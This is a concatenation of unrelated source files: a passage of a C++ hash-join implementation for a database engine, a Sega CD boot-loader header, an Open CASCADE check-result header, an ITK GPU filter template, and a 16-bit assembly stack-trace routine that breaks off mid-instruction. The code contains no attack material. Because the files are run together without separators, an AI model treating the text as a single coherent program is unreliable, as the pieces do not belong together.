(is_asof_join) { const HashJoin & join = added_columns.join; if (const RowRef * found = mapped.findAsof(join.getAsofType(), join.getAsofInequality(), asof_column, i)) { setUsed<need_filter>(filter, i); mapped.setUsed(); added_columns.appendFromBlock<add_missing>(*found->block, found->row_num); } else addNotFoundRow<add_missing, need_replication>(added_columns, current_offset); } else if constexpr (is_all_join) { setUsed<need_filter>(filter, i); mapped.setUsed(); addFoundRowAll<Map, add_missing>(mapped, added_columns, current_offset); } else if constexpr ((is_any_join || is_semi_join) && right) { /// Use first appeared left key + it needs left columns replication if (mapped.setUsedOnce()) { setUsed<need_filter>(filter, i); addFoundRowAll<Map, add_missing>(mapped, added_columns, current_offset); } } else if constexpr (is_any_join && KIND == ASTTableJoin::Kind::Inner) { /// Use first appeared left key only if (mapped.setUsedOnce()) { setUsed<need_filter>(filter, i); added_columns.appendFromBlock<add_missing>(*mapped.block, mapped.row_num); } } else if constexpr (is_any_join && full) { /// TODO } else if constexpr (is_anti_join) { if constexpr (right) mapped.setUsed(); } else /// ANY LEFT, SEMI LEFT, old ANY (RightAny) { setUsed<need_filter>(filter, i); mapped.setUsed(); added_columns.appendFromBlock<add_missing>(*mapped.block, mapped.row_num); } } else { if constexpr (is_anti_join && left) setUsed<need_filter>(filter, i); addNotFoundRow<add_missing, need_replication>(added_columns, current_offset); } if constexpr (need_replication) (*added_columns.offsets_to_replicate)[i] = current_offset; } added_columns.applyLazyDefaults(); return filter; } template <ASTTableJoin::Kind KIND, ASTTableJoin::Strictness STRICTNESS, typename KeyGetter, typename Map> IColumn::Filter joinRightColumnsSwitchNullability(const Map & map, AddedColumns & added_columns, const ConstNullMapPtr & null_map) { if (added_columns.need_filter) { if (null_map) return joinRightColumns<KIND, STRICTNESS, KeyGetter, Map, true, true>(map, added_columns, null_map); else return joinRightColumns<KIND, STRICTNESS, KeyGetter, Map, true, false>(map, added_columns, nullptr); } else { if (null_map) return joinRightColumns<KIND, STRICTNESS, KeyGetter, Map, false, true>(map, added_columns, null_map); else return joinRightColumns<KIND, STRICTNESS, KeyGetter, Map, false, false>(map, added_columns, nullptr); } } template <ASTTableJoin::Kind KIND, ASTTableJoin::Strictness STRICTNESS, typename Maps> IColumn::Filter switchJoinRightColumns(const Maps & maps_, AddedColumns & added_columns, HashJoin::Type type, const ConstNullMapPtr & null_map) { switch (type) { #define M(TYPE) \ case HashJoin::Type::TYPE: \ return joinRightColumnsSwitchNullability<KIND, STRICTNESS,\ typename KeyGetterForType<HashJoin::Type::TYPE, const std::remove_reference_t<decltype(*maps_.TYPE)>>::Type>(\ *maps_.TYPE, added_columns, null_map); APPLY_FOR_JOIN_VARIANTS(M) #undef M default: throw Exception("Unsupported JOIN keys. Type: " + toString(static_cast<UInt32>(type)), ErrorCodes::UNSUPPORTED_JOIN_KEYS); } } template <ASTTableJoin::Kind KIND, ASTTableJoin::Strictness STRICTNESS> IColumn::Filter dictionaryJoinRightColumns(const TableJoin & table_join, AddedColumns & added_columns, const ConstNullMapPtr & null_map) { if constexpr (KIND == ASTTableJoin::Kind::Left && (STRICTNESS == ASTTableJoin::Strictness::Any || STRICTNESS == ASTTableJoin::Strictness::Semi || STRICTNESS == ASTTableJoin::Strictness::Anti)) { return joinRightColumnsSwitchNullability<KIND, STRICTNESS, KeyGetterForDict>(table_join, added_columns, null_map); } throw Exception("Logical error: wrong JOIN combination", ErrorCodes::LOGICAL_ERROR); } } /// nameless template <ASTTableJoin::Kind KIND, ASTTableJoin::Strictness STRICTNESS, typename Maps> void HashJoin::joinBlockImpl( Block & block, const Names & key_names_left, const Block & block_with_columns_to_add, const Maps & maps_) const { constexpr bool is_any_join = STRICTNESS == ASTTableJoin::Strictness::Any; constexpr bool is_all_join = STRICTNESS == ASTTableJoin::Strictness::All; constexpr bool is_asof_join = STRICTNESS == ASTTableJoin::Strictness::Asof; constexpr bool is_semi_join = STRICTNESS == ASTTableJoin::Strictness::Semi; constexpr bool is_anti_join = STRICTNESS == ASTTableJoin::Strictness::Anti; constexpr bool left = KIND == ASTTableJoin::Kind::Left; constexpr bool right = KIND == ASTTableJoin::Kind::Right; constexpr bool inner = KIND == ASTTableJoin::Kind::Inner; constexpr bool full = KIND == ASTTableJoin::Kind::Full; constexpr bool need_replication = is_all_join || (is_any_join && right) || (is_semi_join && right); constexpr bool need_filter = !need_replication && (inner || right || (is_semi_join && left) || (is_anti_join && left)); /// Rare case, when keys are constant or low cardinality. To avoid code bloat, simply materialize them. Columns materialized_keys = JoinCommon::materializeColumns(block, key_names_left); ColumnRawPtrs key_columns = JoinCommon::getRawPointers(materialized_keys); /// Keys with NULL value in any column won't join to anything. ConstNullMapPtr null_map{}; ColumnPtr null_map_holder = extractNestedColumnsAndNullMap(key_columns, null_map); size_t existing_columns = block.columns(); /** If you use FULL or RIGHT JOIN, then the columns from the "left" table must be materialized. * Because if they are constants, then in the "not joined" rows, they may have different values * - default values, which can differ from the values of these constants. */ if constexpr (right || full) { materializeBlockInplace(block); if (nullable_left_side) JoinCommon::convertColumnsToNullable(block); } /** For LEFT/INNER JOIN, the saved blocks do not contain keys. * For FULL/RIGHT JOIN, the saved blocks contain keys; * but they will not be used at this stage of joining (and will be in `AdderNonJoined`), and they need to be skipped. * For ASOF, the last column is used as the ASOF column */ ColumnsWithTypeAndName extras; if constexpr (is_asof_join) extras.push_back(right_table_keys.getByName(key_names_right.back())); AddedColumns added_columns(sample_block_with_columns_to_add, block_with_columns_to_add, block, savedBlockSample(), extras, *this, key_columns, key_sizes); bool has_required_right_keys = (required_right_keys.columns() != 0); added_columns.need_filter = need_filter || has_required_right_keys; IColumn::Filter row_filter = overDictionary() ? dictionaryJoinRightColumns<KIND, STRICTNESS>(*table_join, added_columns, null_map) : switchJoinRightColumns<KIND, STRICTNESS>(maps_, added_columns, data->type, null_map); for (size_t i = 0; i < added_columns.size(); ++i) block.insert(added_columns.moveColumn(i)); std::vector<size_t> right_keys_to_replicate [[maybe_unused]]; if constexpr (need_filter) { /// If ANY INNER | RIGHT JOIN - filter all the columns except the new ones. for (size_t i = 0; i < existing_columns; ++i) block.safeGetByPosition(i).column = block.safeGetByPosition(i).column->filter(row_filter, -1); /// Add join key columns from right block if needed. for (size_t i = 0; i < required_right_keys.columns(); ++i) { const auto & right_key = required_right_keys.getByPosition(i); const auto & left_name = required_right_keys_sources[i]; const auto & col = block.getByName(left_name); bool is_nullable = nullable_right_side || right_key.type->isNullable(); block.insert(correctNullability({col.column, col.type, right_key.name}, is_nullable)); } } else if (has_required_right_keys) { /// Some trash to represent IColumn::Filter as ColumnUInt8 needed for ColumnNullable::applyNullMap() auto null_map_filter_ptr = ColumnUInt8::create(); ColumnUInt8 & null_map_filter = assert_cast<ColumnUInt8 &>(*null_map_filter_ptr); null_map_filter.getData().swap(row_filter); const IColumn::Filter & filter = null_map_filter.getData(); /// Add join key columns from right block if needed. for (size_t i = 0; i < required_right_keys.columns(); ++i) { const auto & right_key = required_right_keys.getByPosition(i); const auto & left_name = required_right_keys_sources[i]; const auto & col = block.getByName(left_name); bool is_nullable = nullable_right_side || right_key.type->isNullable(); ColumnPtr thin_column = filterWithBlanks(col.column, filter); block.insert(correctNullability({thin_column, col.type, right_key.name}, is_nullable, null_map_filter)); if constexpr (need_replication) right_keys_to_replicate.push_back(block.getPositionByName(right_key.name)); } } if constexpr (need_replication) { std::unique_ptr<IColumn::Offsets> & offsets_to_replicate = added_columns.offsets_to_replicate; /// If ALL ... JOIN - we replicate all the columns except the new ones. for (size_t i = 0; i < existing_columns; ++i) block.safeGetByPosition(i).column = block.safeGetByPosition(i).column->replicate(*offsets_to_replicate); /// Replicate additional right keys for (size_t pos : right_keys_to_replicate) block.safeGetByPosition(pos).column = block.safeGetByPosition(pos).column->replicate(*offsets_to_replicate); } } void HashJoin::joinBlockImplCross(Block & block, ExtraBlockPtr & not_processed) const { size_t max_joined_block_rows = table_join->maxJoinedBlockRows(); size_t start_left_row = 0; size_t start_right_block = 0; if (not_processed) { auto & continuation = static_cast<NotProcessedCrossJoin &>(*not_processed); start_left_row = continuation.left_position; start_right_block = continuation.right_block; not_processed.reset(); } size_t num_existing_columns = block.columns(); size_t num_columns_to_add = sample_block_with_columns_to_add.columns(); ColumnRawPtrs src_left_columns; MutableColumns dst_columns; { src_left_columns.reserve(num_existing_columns); dst_columns.reserve(num_existing_columns + num_columns_to_add); for (const ColumnWithTypeAndName & left_column : block) { src_left_columns.push_back(left_column.column.get()); dst_columns.emplace_back(src_left_columns.back()->cloneEmpty()); } for (const ColumnWithTypeAndName & right_column : sample_block_with_columns_to_add) dst_columns.emplace_back(right_column.column->cloneEmpty()); for (auto & dst : dst_columns) dst->reserve(max_joined_block_rows); } size_t rows_left = block.rows(); size_t rows_added = 0; for (size_t left_row = start_left_row; left_row < rows_left; ++left_row) { size_t block_number = 0; for (const Block & block_right : data->blocks) { ++block_number; if (block_number < start_right_block) continue; size_t rows_right = block_right.rows(); rows_added += rows_right; for (size_t col_num = 0; col_num < num_existing_columns; ++col_num) dst_columns[col_num]->insertManyFrom(*src_left_columns[col_num], left_row, rows_right); for (size_t col_num = 0; col_num < num_columns_to_add; ++col_num) { const IColumn & column_right = *block_right.getByPosition(col_num).column; dst_columns[num_existing_columns + col_num]->insertRangeFrom(column_right, 0, rows_right); } } start_right_block = 0; if (rows_added > max_joined_block_rows) { not_processed = std::make_shared<NotProcessedCrossJoin>( NotProcessedCrossJoin{{block.cloneEmpty()}, left_row, block_number + 1}); not_processed->block.swap(block); break; } } for (const ColumnWithTypeAndName & src_column : sample_block_with_columns_to_add) block.insert(src_column); block = block.cloneWithColumns(std::move(dst_columns)); } DataTypePtr HashJoin::joinGetCheckAndGetReturnType(const DataTypes & data_types, const String & column_name, bool or_null) const { std::shared_lock lock(data->rwlock); size_t num_keys = data_types.size(); if (right_table_keys.columns() != num_keys) throw Exception( "Number of arguments for function joinGet" + toString(or_null ? "OrNull" : "") + " doesn't match: passed, should be equal to " + toString(num_keys), ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH); for (size_t i = 0; i < num_keys; ++i) { const auto & left_type_origin = data_types[i]; const auto & [c2, right_type_origin, right_name] = right_table_keys.safeGetByPosition(i); auto left_type = removeNullable(left_type_origin); auto right_type = removeNullable(right_type_origin); if (!left_type->equals(*right_type)) throw Exception( "Type mismatch in joinGet key " + toString(i) + ": found type " + left_type->getName() + ", while the needed type is " + right_type->getName(), ErrorCodes::TYPE_MISMATCH); } if (!sample_block_with_columns_to_add.has(column_name)) throw Exception("StorageJoin doesn't contain column " + column_name, ErrorCodes::NO_SUCH_COLUMN_IN_TABLE); auto elem = sample_block_with_columns_to_add.getByName(column_name); if (or_null) elem.type = makeNullable(elem.type); return elem.type; } template <typename Maps> ColumnWithTypeAndName HashJoin::joinGetImpl(const Block & block, const Block & block_with_columns_to_add, const Maps & maps_) const { // Assemble the key block with correct names. Block keys; for (size_t i = 0; i < block.columns(); ++i) { auto key = block.getByPosition(i); key.name = key_names_right[i]; keys.insert(std::move(key)); } joinBlockImpl<ASTTableJoin::Kind::Left, ASTTableJoin::Strictness::Any>( keys, key_names_right, block_with_columns_to_add, maps_); return keys.getByPosition(keys.columns() - 1); } // TODO: return multiple columns as named tuple // TODO: return array of values when strictness == ASTTableJoin::Strictness::All ColumnWithTypeAndName HashJoin::joinGet(const Block & block, const Block & block_with_columns_to_add) const { std::shared_lock lock(data->rwlock); if ((strictness == ASTTableJoin::Strictness::Any || strictness == ASTTableJoin::Strictness::RightAny) && kind == ASTTableJoin::Kind::Left) { return joinGetImpl(block, block_with_columns_to_add, std::get<MapsOne>(data->maps)); } else throw Exception("joinGet only supports StorageJoin of type Left Any", ErrorCodes::INCOMPATIBLE_TYPE_OF_JOIN); } void HashJoin::joinBlock(Block & block, ExtraBlockPtr & not_processed) { std::shared_lock lock(data->rwlock); const Names & key_names_left = table_join->keyNamesLeft(); JoinCommon::checkTypesOfKeys(block, key_names_left, right_table_keys, key_names_right); if (overDictionary()) { using Kind = ASTTableJoin::Kind; using Strictness = ASTTableJoin::Strictness; auto & map = std::get<MapsOne>(data->maps); if (kind == Kind::Left) { switch (strictness) { case Strictness::Any: case Strictness::All: joinBlockImpl<Kind::Left, Strictness::Any>(block, key_names_left, sample_block_with_columns_to_add, map); break; case Strictness::Semi: joinBlockImpl<Kind::Left, Strictness::Semi>(block, key_names_left, sample_block_with_columns_to_add, map); break; case Strictness::Anti: joinBlockImpl<Kind::Left, Strictness::Anti>(block, key_names_left, sample_block_with_columns_to_add, map); break; default: throw Exception("Logical error: wrong JOIN combination", ErrorCodes::LOGICAL_ERROR); } } else if (kind == Kind::Inner && strictness == Strictness::All) joinBlockImpl<Kind::Left, Strictness::Semi>(block, key_names_left, sample_block_with_columns_to_add, map); else throw Exception("Logical error: wrong JOIN combination", ErrorCodes::LOGICAL_ERROR); } else if (joinDispatch(kind, strictness, data->maps, [&](auto kind_, auto strictness_, auto & map) { joinBlockImpl<kind_, strictness_>(block, key_names_left, sample_block_with_columns_to_add, map); })) { /// Joined } else if (kind == ASTTableJoin::Kind::Cross) joinBlockImplCross(block, not_processed); else throw Exception("Logical error: unknown combination of JOIN", ErrorCodes::LOGICAL_ERROR); } void HashJoin::joinTotals(Block & block) const { JoinCommon::joinTotals(totals, sample_block_with_columns_to_add, key_names_right, block); } template <typename Mapped> struct AdderNonJoined { static void add(const Mapped & mapped, size_t & rows_added, MutableColumns & columns_right) { constexpr bool mapped_asof = std::is_same_v<Mapped, JoinStuff::MappedAsof>; [[maybe_unused]] constexpr bool mapped_one = std::is_same_v<Mapped, JoinStuff::MappedOne> || std::is_same_v<Mapped, JoinStuff::MappedOneFlagged>; if constexpr (mapped_asof) { /// Do nothing } else if constexpr (mapped_one) { for (size_t j = 0; j < columns_right.size(); ++j) { const auto & mapped_column = mapped.block->getByPosition(j).column; columns_right[j]->insertFrom(*mapped_column, mapped.row_num); } ++rows_added; } else { for (auto it = mapped.begin(); it.ok(); ++it) { for (size_t j = 0; j < columns_right.size(); ++j) { const auto & mapped_column = it->block->getByPosition(j).column; columns_right[j]->insertFrom(*mapped_column, it->row_num); } ++rows_added; } } } }; /// Stream from not joined earlier rows of the right table. class NonJoinedBlockInputStream : private NotJoined, public IBlockInputStream { public: NonJoinedBlockInputStream(const HashJoin & parent_, const Block & result_sample_block_, UInt64 max_block_size_) : NotJoined(*parent_.table_join, parent_.savedBlockSample(), parent_.right_sample_block, result_sample_block_) , parent(parent_) , max_block_size(max_block_size_) {} String getName() const override { return "NonJoined"; } Block getHeader() const override { return result_sample_block; } protected: Block readImpl() override { if (parent.data->blocks.empty()) return Block(); return createBlock(); } private: const HashJoin & parent; UInt64 max_block_size; std::any position; std::optional<HashJoin::BlockNullmapList::const_iterator> nulls_position; Block createBlock() { MutableColumns columns_right = saved_block_sample.cloneEmptyColumns(); size_t rows_added = 0; auto fill_callback = [&](auto, auto strictness, auto & map) { rows_added = fillColumnsFromMap<strictness>(map, columns_right); }; if (!joinDispatch(parent.kind, parent.strictness, parent.data->maps, fill_callback)) throw Exception("Logical error: unknown JOIN strictness (must be on of: ANY, ALL, ASOF)", ErrorCodes::LOGICAL_ERROR); fillNullsFromBlocks(columns_right, rows_added); if (!rows_added) return {}; correctLowcardAndNullability(columns_right); Block res = result_sample_block.cloneEmpty(); addLeftColumns(res, rows_added); addRightColumns(res, columns_right); copySameKeys(res); return res; } template <ASTTableJoin::Strictness STRICTNESS, typename Maps> size_t fillColumnsFromMap(const Maps & maps, MutableColumns & columns_keys_and_right) { switch (parent.data->type) { #define M(TYPE) \ case HashJoin::Type::TYPE: \ return fillColumns<STRICTNESS>(*maps.TYPE, columns_keys_and_right); APPLY_FOR_JOIN_VARIANTS(M) #undef M default: throw Exception("Unsupported JOIN keys. Type: " + toString(static_cast<UInt32>(parent.data->type)), ErrorCodes::UNSUPPORTED_JOIN_KEYS); } __builtin_unreachable(); } template <ASTTableJoin::Strictness STRICTNESS, typename Map> size_t fillColumns(const Map & map, MutableColumns & columns_keys_and_right) { using Mapped = typename Map::mapped_type; using Iterator = typename Map::const_iterator; size_t rows_added = 0; if (!position.has_value()) position = std::make_any<Iterator>(map.begin()); Iterator & it = std::any_cast<Iterator &>(position); auto end = map.end(); for (; it != end; ++it) { const Mapped & mapped = it->getMapped(); if (mapped.getUsed()) continue; AdderNonJoined<Mapped>::add(mapped, rows_added, columns_keys_and_right); if (rows_added >= max_block_size) { ++it; break; } } return rows_added; } void fillNullsFromBlocks(MutableColumns & columns_keys_and_right, size_t & rows_added) { if (!nulls_position.has_value()) nulls_position = parent.data->blocks_nullmaps.begin(); auto end = parent.data->blocks_nullmaps.end(); for (auto & it = *nulls_position; it != end && rows_added < max_block_size; ++it) { const Block * block = it->first; const NullMap & nullmap = assert_cast<const ColumnUInt8 &>(*it->second).getData(); for (size_t row = 0; row < nullmap.size(); ++row) { if (nullmap[row]) { for (size_t col = 0; col < columns_keys_and_right.size(); ++col) columns_keys_and_right[col]->insertFrom(*block->getByPosition(col).column, row); ++rows_added; } } } } }; BlockInputStreamPtr HashJoin::createStreamWithNonJoinedRows(const Block & result_sample_block, UInt64 max_block_size) const { if (table_join->strictness() == ASTTableJoin::Strictness::Asof || table_join->strictness() == ASTTableJoin::Strictness::Semi) return {}; if (isRightOrFull(table_join->kind())) return std::make_shared<NonJoinedBlockInputStream>(*this, result_sample_block, max_block_size); return {}; } }
; ======================================================================================= ; Sega CD Boot loader by Luke Usher/SoullessSentinel (c) 2010 ; Used with permission. This code is not released under the GPL. ; ======================================================================================= ;align macro ; cnop 0,\1 ; endm ; ======================================================================================= ; Sega CD Header (Based on Sonic CD's header) ; ======================================================================================= DiscType: dc.b 'SEGADISCSYSTEM ' ; Disc Type (Must be SEGADISCSYSTEM) VolumeName: dc.b 'SEGACDGAME ',0 ; Disc ID VolumeSystem: dc.w $100,$1 ; System ID, Type SystemName: dc.b 'SEGACDGAME ',0 ; System Name SystemVersion: dc.w 0,0 ; System Version, Type IP_Addr: dc.l $800 ; IP Start Address (Must be $800) IP_Size: dc.l $800 ; IP End Address (Must be $800) IP_Entry: dc.l 0 IP_WorkRAM: dc.l 0 SP_Addr: dc.l $1000 ; SP Start Address (Must be $1000) SP_Size: dc.l $7000 ; SP End Address (Must be $7000) SP_Entry: dc.l 0 SP_WorkRAM: dc.l 0 .mri 0 .org 0x00000100 .mri 1 ; ======================================================================================= ; Game Header ; ======================================================================================= HardwareType: dc.b 'SEGA MEGA DRIVE ' Copyright: dc.b '(C)MKUBILUS 2013' NativeName: dc.b 'Space test ' OverseasName: dc.b 'Space test ' DiscID: dc.b 'GM 00-0000-00 ' IO: dc.b 'J ' ; Modem information, notes, and padding, left undefined as it is not used ; Padded to $1F0 instead (Start of Region Code) .mri 0 .org 0x000001F0 .mri 1 Region: dc.b 'E ' ; ======================================================================================== ; IP (Includes security sector) ; ======================================================================================== ;incbin "_boot/ip-us.bin"; include _boot/ip-us-as.asm ; ======================================================================================= ; Sub CPU Program (SP) ; ======================================================================================= .mri 0 .org 0x00001000 .mri 1 ;incbin "_boot/sp.bin" ;incbin "_boot/sp-as.bin" include _boot/sp-as.asm ; ======================================================================================= ; Padding, to $8000 (Size of boot area of iso) ; ======================================================================================= .mri 0 .org 0x00008000 .mri 1 ; ======================================================================================= ; FileSystem: ; ======================================================================================= incbin "filesystem.bin" .mri 0 .org 0x02000000 .mri 1
// Created on: 2004-09-03 // Created by: Oleg FEDYAEV // Copyright (c) 2004-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _BOPAlgo_CheckResult_HeaderFile #define _BOPAlgo_CheckResult_HeaderFile #include <Standard.hxx> #include <Standard_DefineAlloc.hxx> #include <Standard_Handle.hxx> #include <TopoDS_Shape.hxx> #include <BOPAlgo_CheckStatus.hxx> #include <TopTools_ListOfShape.hxx> #include <Standard_Real.hxx> //! contains information about faulty shapes and faulty types //! can't be processed by Boolean Operations class BOPAlgo_CheckResult { public: DEFINE_STANDARD_ALLOC //! empty constructor Standard_EXPORT BOPAlgo_CheckResult(); //! sets ancestor shape (object) for faulty sub-shapes Standard_EXPORT void SetShape1 (const TopoDS_Shape& TheShape); //! adds faulty sub-shapes from object to a list Standard_EXPORT void AddFaultyShape1 (const TopoDS_Shape& TheShape); //! sets ancestor shape (tool) for faulty sub-shapes Standard_EXPORT void SetShape2 (const TopoDS_Shape& TheShape); //! adds faulty sub-shapes from tool to a list Standard_EXPORT void AddFaultyShape2 (const TopoDS_Shape& TheShape); //! returns ancestor shape (object) for faulties Standard_EXPORT const TopoDS_Shape& GetShape1() const; //! returns ancestor shape (tool) for faulties Standard_EXPORT const TopoDS_Shape& GetShape2() const; //! returns list of faulty shapes for object Standard_EXPORT const TopTools_ListOfShape& GetFaultyShapes1() const; //! returns list of faulty shapes for tool Standard_EXPORT const TopTools_ListOfShape& GetFaultyShapes2() const; //! set status of faulty Standard_EXPORT void SetCheckStatus (const BOPAlgo_CheckStatus TheStatus); //! gets status of faulty Standard_EXPORT BOPAlgo_CheckStatus GetCheckStatus() const; //! Sets max distance for the first shape Standard_EXPORT void SetMaxDistance1 (const Standard_Real theDist); //! Sets max distance for the second shape Standard_EXPORT void SetMaxDistance2 (const Standard_Real theDist); //! Sets the parameter for the first shape Standard_EXPORT void SetMaxParameter1 (const Standard_Real thePar); //! Sets the parameter for the second shape Standard_EXPORT void SetMaxParameter2 (const Standard_Real thePar); //! Returns the distance for the first shape Standard_EXPORT Standard_Real GetMaxDistance1() const; //! Returns the distance for the second shape Standard_EXPORT Standard_Real GetMaxDistance2() const; //! Returns the parameter for the fircst shape Standard_EXPORT Standard_Real GetMaxParameter1() const; //! Returns the parameter for the second shape Standard_EXPORT Standard_Real GetMaxParameter2() const; protected: private: TopoDS_Shape myShape1; TopoDS_Shape myShape2; BOPAlgo_CheckStatus myStatus; TopTools_ListOfShape myFaulty1; TopTools_ListOfShape myFaulty2; Standard_Real myMaxDist1; Standard_Real myMaxDist2; Standard_Real myMaxPar1; Standard_Real myMaxPar2; }; #endif // _BOPAlgo_CheckResult_HeaderFile
function1: ld b,a ret
/*========================================================================= * * Copyright NumFOCUS * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkGPUImageToImageFilter_hxx #define itkGPUImageToImageFilter_hxx #include "itkGPUImageToImageFilter.h" namespace itk { template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GPUImageToImageFilter() { m_GPUKernelManager = GPUKernelManager::New(); } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::~GPUImageToImageFilter() = default; template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::PrintSelf(std::ostream & os, Indent indent) const { Superclass::PrintSelf(os, indent); os << indent << "GPU: " << (m_GPUEnabled ? "Enabled" : "Disabled") << std::endl; } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GenerateData() { if (!m_GPUEnabled) // call CPU update function { Superclass::GenerateData(); } else // call GPU update function { // Call a method to allocate memory for the filter's outputs this->AllocateOutputs(); GPUGenerateData(); } } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GraftOutput( typename itk::GPUTraits<TOutputImage>::Type * output) { using GPUOutputImage = typename itk::GPUTraits<TOutputImage>::Type; typename GPUOutputImage::Pointer gpuImage = dynamic_cast<GPUOutputImage *>(this->GetOutput()); gpuImage->Graft(output); } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GraftOutput(DataObject * output) { using GPUOutputImage = typename itk::GPUTraits<TOutputImage>::Type; auto * gpuImage = dynamic_cast<GPUOutputImage *>(output); if (gpuImage) { this->GraftOutput(gpuImage); } else { itkExceptionMacro(<< "itk::GPUImageToImageFilter::GraftOutput() cannot cast " << typeid(output).name() << " to " << typeid(GPUOutputImage *).name()); } } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GraftOutput( const DataObjectIdentifierType & key, typename itk::GPUTraits<TOutputImage>::Type * output) { using GPUOutputImage = typename itk::GPUTraits<TOutputImage>::Type; typename GPUOutputImage::Pointer gpuImage = dynamic_cast<GPUOutputImage *>(this->ProcessObject::GetOutput(key)); gpuImage->Graft(output); } template <typename TInputImage, typename TOutputImage, typename TParentImageFilter> void GPUImageToImageFilter<TInputImage, TOutputImage, TParentImageFilter>::GraftOutput(const DataObjectIdentifierType & key, DataObject * output) { using GPUOutputImage = typename itk::GPUTraits<TOutputImage>::Type; auto * gpuImage = dynamic_cast<GPUOutputImage *>(output); if (gpuImage) { this->GraftOutput(key, gpuImage); } else { itkExceptionMacro(<< "itk::GPUImageToImageFilter::GraftOutput() cannot cast " << typeid(output).name() << " to " << typeid(GPUOutputImage *).name()); } } } // end namespace itk #endif
page 58,82 ; ; stacktrace using BP. Go through BP chain, attempting to find calls to ; current procedure and displaying name (if it exists symbolicly) and ; arguments. ; include noxport.inc include newexe.inc SEGI STRUC ;* result of GetCodeInfo sectorSegi DW ? ; logical sector number in file of start of segment cbFileSegi DW ? ; number bytes in file flagsSegi DW ? ; segment flags cbRamSegi DW ? ; minimum number bytes to allocate for segment hSegi DW ? ; Handle to segment (0 if not loaded) cbAlignSegi DW ? ; Alignment shift count for segment data SEGI ENDS PCODE_HEADER struc ph_code db 3 dup(?) ph_enMacReg db ? ph_snReg dw ? ph_rReg dw ? ph_mpenbpc dw ? PCODE_HEADER ends sBegin DATA staticB segiT,<SIZE SEGI DUP (?)> ;* SEGI buffer for GetCodeInfo sEnd DATA createSeg _RIP,rip,byte,public,CODE PUBLIC StackTrace externFP <FGetSegSymb, FFindSeg, FGetSymbol> externFP <GetSnMac, FGetPcodeSegName, FGetConstSymb> externFP <HOpenOutFile, DwSeekDw, CchWriteDoshnd, FCloseDoshnd> externFP <HOpenDbgScreen> externFP <GetCodeInfo,GlobalHandle> externA $q_snMacReal sBegin data externW SymDef externW $q_mpsnpfn externW vpszStackTrace1 externW vpszStackTrace2 fDoingRIP dw 0 ; currently in process of ripping... sEnd DATA ; CODE SEGMENT _RIP sBegin rip assumes cs,rip assumes ds,dgroup assumes ss,dgroup csCurrent equ bp-8 ; Most recent CS during backtrace bpCurrent equ bp-10 ; Most recent BP during backtrace bpLast equ bp-12 ; Most recent BP during backtrace fPcodeFrame equ bp-14 ; TRUE == Pcode frame RetSeg equ bp-16 ; return segment from frame RetOffset equ bp-18 ; return offset from frame SnMac equ bp-20 ; count of pcode segments pBuff equ bp-22 ; pointer into buffer BuffStart equ bp-(24+80) ; buffer start SymFile equ bp-(104+66) ; sym file name hOutFile equ bp-172 ; dos handle for output file chOutBuff equ bp-174 ; buffer for a char to output pArgStart equ bp-176 ; pointer to start of args pArgEnd equ bp-178 ; pointer to end of args pLocalStart equ bp-180 ; pointer to start of locals pLocalEnd equ bp-182 ; pointer to end of locals cPcodeArgs equ bp-184 ; count of pcode args fPrintDbgScr equ bp-186 ; print chars to the aux port? fThunk equ bp-188 ; true iff last far ret was a thunk address hDbgScreen equ bp-190 ; dos handle for debug screen fNextFrameNat equ bp-192 ; true iff switching from pcode to native cbLocalsMax equ 194 ;* * * String pool szSnMsg: DB "pcode : sn = ", 0 szBpcMsg: DB " bpc = ", 0 szBadBP DB 0dh, 0ah, "Illegal Frame Pointer = ", 0 szNoStack DB 0dh, 0ah, "Not enough stack to run RIP code", 0dh, 0ah, 0 szArg DB " Args:", 0dh, 0ah, 0 szLocal DB " Locals:", 0dh, 0ah, 0 StackTrace proc far cmp ss:[fDoingRIP],0 ; are we currently ripping? jz traceinit ; no - skip ret ; yes - just return traceinit: mov ax,sp ; check to see if we have enough sub ax,cbLocalsMax ; stack to run the RIP code cmp ax,ss:[0ah] ja traceinit2 mov bx,offset szNoStack ; send message about out of stack space push cs pop es call PrintSz ret traceinit2: mov ss:[fDoingRIP],1 ; indicate we are currently ripping INC BP ; setup a standard frame PUSH BP MOV BP,SP PUSH DS PUSH DI PUSH SI SUB SP,cbLocalsMax ; save room for locals... push ss ; set ds = frame seg pop ds ; init locals mov word ptr [fPrintDbgScr],1 ; indicate printing to the debug screen OK call HOpenDbgScreen ; enable printing to the debug screen? mov [hDbgScreen],ax ; save handle to debug screen cmp ax,-1 ; legal handle? jne traceinit3 ; yes - skip mov word ptr [fPrintDbgScr],0 ; indicate printing to the debug screen not OK traceinit3: mov bx,[bp] ; init past the DoStackTrace proc and bl,0feh mov [bpLast],bx mov word ptr [fPcodeFrame],1 ; start out in pcode mode mov word ptr [fThunk],0 ; clear thunk hit flag mov bx,[bx] and bl,0feh mov [bpCurrent],bx mov [csCurrent],cs mov ax,0 mov 